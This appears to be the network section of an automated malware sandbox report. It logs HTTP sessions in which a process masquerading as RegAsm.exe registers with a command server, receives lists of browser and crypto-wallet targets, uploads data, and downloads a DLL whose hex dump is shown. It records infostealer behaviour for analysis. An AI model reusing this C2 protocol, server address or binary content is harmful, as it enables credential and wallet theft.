initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){window.parent.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	63450	5.75.214.132	443	5684	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-11 14:23:51 UTC	232	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 5.75.214.132 Connection: Keep-Alive Cache-Control: no-cache
2024-09-11 14:23:51 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 14:23:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-11 14:23:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	63454	5.75.214.132	443	5684	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-11 14:23:52 UTC	324	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJEGCFBGDHJJJJJKJECF User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 5.75.214.132 Content-Length: 256 Connection: Keep-Alive Cache-Control: no-cache
2024-09-11 14:23:52 UTC	256	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 45 47 43 46 42 47 44 48 4a 4a 4a 4a 4a 4b 4a 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 39 41 31 43 42 31 33 35 44 38 30 31 31 32 38 30 35 36 36 34 38 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 47 43 46 42 47 44 48 4a 4a 4a 4a 4a 4b 4a 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 66 38 31 33 38 30 61 64 61 30 36 36 32 36 39 31 65 37 33 32 65 65 32 31 37 39 30 63 39 39 37 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 47 43 46 42 47 44 48 4a 4a 4a 4a 4a 4b 4a 45 43 46 2d 2d 0d Data Ascii: ------KJEGCFBGDHJJJJJKJECFContent-Disposition: form-data; name="hwid"59A1CB135D801128056648-a33c7340-61ca------KJEGCFBGDHJJJJJKJECFContent-Disposition: form-data; name="build_id"f81380ada0662691e732ee21790c997a------KJEGCFBGDHJJJJJKJECF--
2024-09-11 14:23:53 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 14:23:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-11 14:23:53 UTC	69	IN	Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 30 62 34 33 39 64 62 66 64 38 31 36 35 61 30 66 34 66 36 33 36 63 37 63 37 64 39 39 39 38 63 62 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|0b439dbfd8165a0f4f636c7c7d9998cb\|1\|1\|1\|0\|0\|50000\|10

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	63457	5.75.214.132	443	5684	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-11 14:23:54 UTC	324	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----KECFIDGCBFBAKEBFBKFB User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 5.75.214.132 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-09-11 14:23:54 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 43 46 49 44 47 43 42 46 42 41 4b 45 42 46 42 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 62 34 33 39 64 62 66 64 38 31 36 35 61 30 66 34 66 36 33 36 63 37 63 37 64 39 39 39 38 63 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 46 49 44 47 43 42 46 42 41 4b 45 42 46 42 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 66 38 31 33 38 30 61 64 61 30 36 36 32 36 39 31 65 37 33 32 65 65 32 31 37 39 30 63 39 39 37 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 46 49 44 47 43 42 46 42 41 4b 45 42 46 42 4b 46 42 0d 0a 43 6f 6e 74 Data Ascii: ------KECFIDGCBFBAKEBFBKFBContent-Disposition: form-data; name="token"0b439dbfd8165a0f4f636c7c7d9998cb------KECFIDGCBFBAKEBFBKFBContent-Disposition: form-data; name="build_id"f81380ada0662691e732ee21790c997a------KECFIDGCBFBAKEBFBKFBCont
2024-09-11 14:23:55 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 14:23:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-11 14:23:55 UTC	1564	IN	Data Raw: 36 31 30 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4e 6f 63 6d 39 74 61 58 56 74 66 46 78 44 61 48 4a 76 62 57 6c 31 62 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 52 76 63 6d 4e 6f 66 46 78 55 62 33 4a 6a 61 46 78 56 63 32 56 79 49 45 Data Ascii: 610R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfENocm9taXVtfFxDaHJvbWl1bVxVc2VyIERhdGF8Y2hyb21lfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfFRvcmNofFxUb3JjaFxVc2VyIE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	63462	5.75.214.132	443	5684	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-11 14:23:56 UTC	324	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECFHJKEBAAECBFHIECGI User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 5.75.214.132 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-09-11 14:23:56 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 43 46 48 4a 4b 45 42 41 41 45 43 42 46 48 49 45 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 62 34 33 39 64 62 66 64 38 31 36 35 61 30 66 34 66 36 33 36 63 37 63 37 64 39 39 39 38 63 62 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 48 4a 4b 45 42 41 41 45 43 42 46 48 49 45 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 66 38 31 33 38 30 61 64 61 30 36 36 32 36 39 31 65 37 33 32 65 65 32 31 37 39 30 63 39 39 37 61 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 48 4a 4b 45 42 41 41 45 43 42 46 48 49 45 43 47 49 0d 0a 43 6f 6e 74 Data Ascii: ------ECFHJKEBAAECBFHIECGIContent-Disposition: form-data; name="token"0b439dbfd8165a0f4f636c7c7d9998cb------ECFHJKEBAAECBFHIECGIContent-Disposition: form-data; name="build_id"f81380ada0662691e732ee21790c997a------ECFHJKEBAAECBFHIECGICont
2024-09-11 14:23:56 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 14:23:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-11 14:23:56 UTC	5685	IN	Data Raw: 31 36 32 38 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 Data Ascii: 1628TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	63467	5.75.214.132	443	5684	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-11 14:23:57 UTC	324	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAAEBKEGHJKEBFHJDBFC User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 5.75.214.132 Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache
2024-09-11 14:23:57 UTC	332	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 62 34 33 39 64 62 66 64 38 31 36 35 61 30 66 34 66 36 33 36 63 37 63 37 64 39 39 39 38 63 62 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 66 38 31 33 38 30 61 64 61 30 36 36 32 36 39 31 65 37 33 32 65 65 32 31 37 39 30 63 39 39 37 61 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 43 0d 0a 43 6f 6e 74 Data Ascii: ------CAAEBKEGHJKEBFHJDBFCContent-Disposition: form-data; name="token"0b439dbfd8165a0f4f636c7c7d9998cb------CAAEBKEGHJKEBFHJDBFCContent-Disposition: form-data; name="build_id"f81380ada0662691e732ee21790c997a------CAAEBKEGHJKEBFHJDBFCCont
2024-09-11 14:23:58 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 14:23:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-11 14:23:58 UTC	119	IN	Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	63474	5.75.214.132	443	5684	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-11 14:24:04 UTC	325	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBKKKEHDHCBFIEBFBGID User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 5.75.214.132 Content-Length: 6245 Connection: Keep-Alive Cache-Control: no-cache
2024-09-11 14:24:04 UTC	6245	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 4b 4b 45 48 44 48 43 42 46 49 45 42 46 42 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 62 34 33 39 64 62 66 64 38 31 36 35 61 30 66 34 66 36 33 36 63 37 63 37 64 39 39 39 38 63 62 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 4b 4b 45 48 44 48 43 42 46 49 45 42 46 42 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 66 38 31 33 38 30 61 64 61 30 36 36 32 36 39 31 65 37 33 32 65 65 32 31 37 39 30 63 39 39 37 61 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 4b 4b 45 48 44 48 43 42 46 49 45 42 46 42 47 49 44 0d 0a 43 6f 6e 74 Data Ascii: ------DBKKKEHDHCBFIEBFBGIDContent-Disposition: form-data; name="token"0b439dbfd8165a0f4f636c7c7d9998cb------DBKKKEHDHCBFIEBFBGIDContent-Disposition: form-data; name="build_id"f81380ada0662691e732ee21790c997a------DBKKKEHDHCBFIEBFBGIDCont
2024-09-11 14:24:04 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 14:24:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-11 14:24:04 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	63476	5.75.214.132	443	5684	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-11 14:24:04 UTC	240	OUT	GET /sqlp.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 5.75.214.132 Connection: Keep-Alive Cache-Control: no-cache
2024-09-11 14:24:05 UTC	264	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 14:24:05 GMT Content-Type: application/octet-stream Content-Length: 2459136 Connection: close Last-Modified: Wednesday, 11-Sep-2024 14:24:05 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-09-11 14:24:05 UTC	16120	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 cc 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$7ZYZYZYZnY\Y]YXYYZXYO\EYO]UYOZLYl3][Yl3Y[Yl3[Yl3[[YRichZY
2024-09-11 14:24:05 UTC	16384	IN	Data Raw: d3 b2 1e 00 e9 9c 25 1b 00 e9 3a f0 19 00 e9 9e cd 1e 00 e9 ba 58 1d 00 e9 7e 65 1b 00 e9 1b f0 1c 00 e9 01 21 1c 00 e9 b9 2a 1f 00 e9 d7 46 00 00 e9 92 83 17 00 e9 c5 ed 1e 00 e9 e8 57 03 00 e9 fa 7c 1b 00 e9 3e e1 00 00 e9 bd f4 1a 00 e9 b4 7c 00 00 e9 bf ca 1c 00 e9 4c db 1a 00 e9 31 31 1a 00 e9 34 e5 1c 00 e9 36 f1 1d 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: %:X~e!*FW\|>\|L1146
2024-09-11 14:24:05 UTC	16384	IN	Data Raw: 24 10 8b c3 0f 1f 40 00 8a 10 3a 11 75 1a 84 d2 74 12 8a 50 01 3a 51 01 75 0e 83 c0 02 83 c1 02 84 d2 75 e4 33 c0 eb 05 1b c0 83 c8 01 85 c0 74 15 83 c6 0c 47 81 fe c0 03 00 00 72 bf 5f 5e b8 0c 00 00 00 5b c3 8d 0c 7f 8b 14 8d 38 25 24 10 8d 04 8d 34 25 24 10 85 d2 75 09 8b 10 89 14 8d 38 25 24 10 8b 4c 24 18 85 c9 5f 0f 44 ca 5e 89 08 33 c0 5b c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 33 ff 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 53 6a 02 6a ff ff 74 24 1c 56 e8 78 0c 15 00 8b d8 83 c4 10 85 db 74 21 6a 00 ff 74 24 24 ff 74 24 24 ff 74 24 24 53 56 e8 9a 68 04 00 53 Data Ascii: $@:utP:Quu3tGr_^[8%$4%$u8%$L$_D^3[Vt$W3FtPh $Sjjt$Vxt!jt$$t$$t$$SVhS
2024-09-11 14:24:05 UTC	16384	IN	Data Raw: 83 f9 39 77 12 8d 1c 9b 46 8d 5b e8 8d 1c 59 0f be 0e 83 f9 30 7d e9 89 74 24 74 81 e3 ff ff ff 7f 89 5c 24 30 83 f9 6c 75 35 4e 0f be 4e 01 46 89 74 24 74 85 c9 0f 85 f0 fd ff ff eb 21 0f be 4e 01 46 c6 44 24 37 01 89 74 24 74 83 f9 6c 75 0e 0f be 4e 01 46 89 74 24 74 c6 44 24 37 02 8b 44 24 38 33 f6 89 44 24 58 ba 70 53 21 10 c7 44 24 50 70 53 21 10 c6 44 24 2e 11 0f be 02 3b c8 74 16 83 c2 06 46 81 fa fa 53 21 10 7c ed 8a 4c 24 2e 8b 54 24 50 eb 19 8d 04 76 8a 0c 45 73 53 21 10 8d 14 45 70 53 21 10 89 54 24 50 88 4c 24 2e 0f b6 c1 83 f8 10 0f 87 d9 14 00 00 ff 24 85 24 e1 00 10 c6 44 24 37 01 c6 44 24 43 00 f6 42 02 01 0f 84 97 00 00 00 80 7c 24 2d 00 74 44 8b 74 24 70 8b 56 04 39 16 7f 22 0f 57 c0 66 0f 13 44 24 68 8b 4c 24 6c 8b 74 24 68 8a 54 24 35 Data Ascii: 9wF[Y0}t$t\$0lu5NNFt$t!NFD$7t$tluNFt$tD$7D$83D$XpS!D$PpS!D$.;tFS!\|L$.T$PvEsS!EpS!T$PL$.$$D$7D$CB\|$-tDt$pV9"WfD$hL$lt$hT$5
2024-09-11 14:24:05 UTC	16384	IN	Data Raw: 89 4c 24 20 89 44 24 24 3b c2 7f 0c 7c 18 8b 44 24 14 3b c8 73 06 eb 0e 8b 44 24 14 8b c8 89 44 24 20 89 54 24 24 a1 08 22 24 10 03 44 24 10 99 8b f8 8b ea 85 f6 0f 85 6b 01 00 00 3b 6c 24 24 0f 8f 91 00 00 00 7c 08 3b f9 0f 83 87 00 00 00 8b 44 24 10 99 6a 00 8b ca c7 44 24 48 00 00 00 00 8d 54 24 48 89 44 24 38 52 51 50 55 57 89 4c 24 50 e8 38 3a ff ff 40 50 8b 44 24 34 50 8b 80 dc 00 00 00 ff d0 8b f0 83 c4 10 85 f6 75 1e 8b 54 24 1c 8b 44 24 44 55 57 ff 74 24 18 8b 0a ff 70 04 52 8b 41 0c ff d0 83 c4 14 8b f0 8b 44 24 44 85 c0 74 09 50 e8 dd f4 12 00 83 c4 04 03 7c 24 34 8b 4c 24 20 13 6c 24 38 85 f6 0f 84 6a ff ff ff e9 d0 00 00 00 8b 7c 24 1c 8d 4c 24 38 51 57 8b 07 8b 40 18 ff d0 8b f0 83 c4 08 85 f6 0f 85 b2 00 00 00 8b 4c 24 2c 39 4c 24 3c 7c 1e Data Ascii: L$ D$$;\|D$;sD$D$ T$$"$D$k;l$$\|;D$jD$HT$HD$8RQPUWL$P8:@PD$4PuT$D$DUWt$pRAD$DtP\|$4L$ l$8j\|$L$8QW@L$,9L$<\|
2024-09-11 14:24:05 UTC	16384	IN	Data Raw: 8b 7c 24 10 be 07 00 00 00 eb 32 c7 40 08 01 00 00 00 33 ff c7 40 0c 00 00 00 00 66 c7 40 11 01 00 8b 44 24 10 56 89 46 40 e8 3a 27 0d 00 83 c4 04 8b f0 eb 08 8b 7c 24 10 8b 74 24 0c 85 ff 0f 84 9d 00 00 00 83 47 10 ff 0f 85 93 00 00 00 ff 4b 3c 83 7f 08 01 75 0d 83 7f 0c 00 75 07 c7 43 1c ff ff ff ff 8b 07 85 c0 74 0e 50 53 e8 46 87 0a 00 83 c4 08 85 c0 75 0a 57 53 e8 38 88 0a 00 83 c4 08 57 53 e8 5e 81 0a 00 83 c4 08 83 3d 18 20 24 10 00 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 57 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 81 24 10 57 ff 15 3c 20 24 10 a1 38 82 24 10 83 c4 08 85 c0 74 13 50 ff 15 70 20 24 10 eb 07 57 ff 15 3c 20 24 10 83 c4 04 53 e8 a0 17 0d 00 83 c4 04 8b c6 5f 5e 5b 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc Data Ascii: \|$2@3@f@D$VF@:'\|$t$GK<uuCtPSFuWS8WS^= $tB8$tPh $WD $)$$W< $8$tPp $W< $S_^[]
2024-09-11 14:24:05 UTC	16384	IN	Data Raw: 24 10 83 c4 04 85 f6 74 64 8b 7c 24 14 e9 68 fe ff ff 0f b7 86 90 00 00 00 8b de 8b 54 24 10 8b 4c 24 24 8b 6c 24 20 89 47 10 8b 86 98 00 00 00 c1 e8 06 83 e0 01 89 54 24 10 89 47 14 80 bb 97 00 00 00 02 89 4c 24 14 0f 85 c8 fe ff ff b8 01 00 00 00 89 4c 24 14 89 54 24 10 e9 b8 fe ff ff 5f 5e 5d b8 07 00 00 00 5b 83 c4 18 c3 5f 5e 5d 33 c0 5b 83 c4 18 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: $td\|$hT$L$$l$ GT$GL$L$T$_^][_^]3[
2024-09-11 14:24:05 UTC	16384	IN	Data Raw: fe ff 83 c4 18 5f 5e 5d 5b 59 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 7c 24 14 8b 46 10 8b 56 0c 8d 0c 80 8b 42 68 ff 74 88 fc ff 77 04 ff 37 e8 ac f3 11 00 83 c4 0c 85 c0 74 0b ff 37 56 e8 d3 67 fe ff 83 c4 08 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 6a 00 6a 01 6a ff 68 2c 67 21 10 ff 74 24 14 e8 bc d7 0d 00 83 c4 14 Data Ascii: _^][YVt$W\|$FVBhtw7t7Vg_^jjjh,g!t$
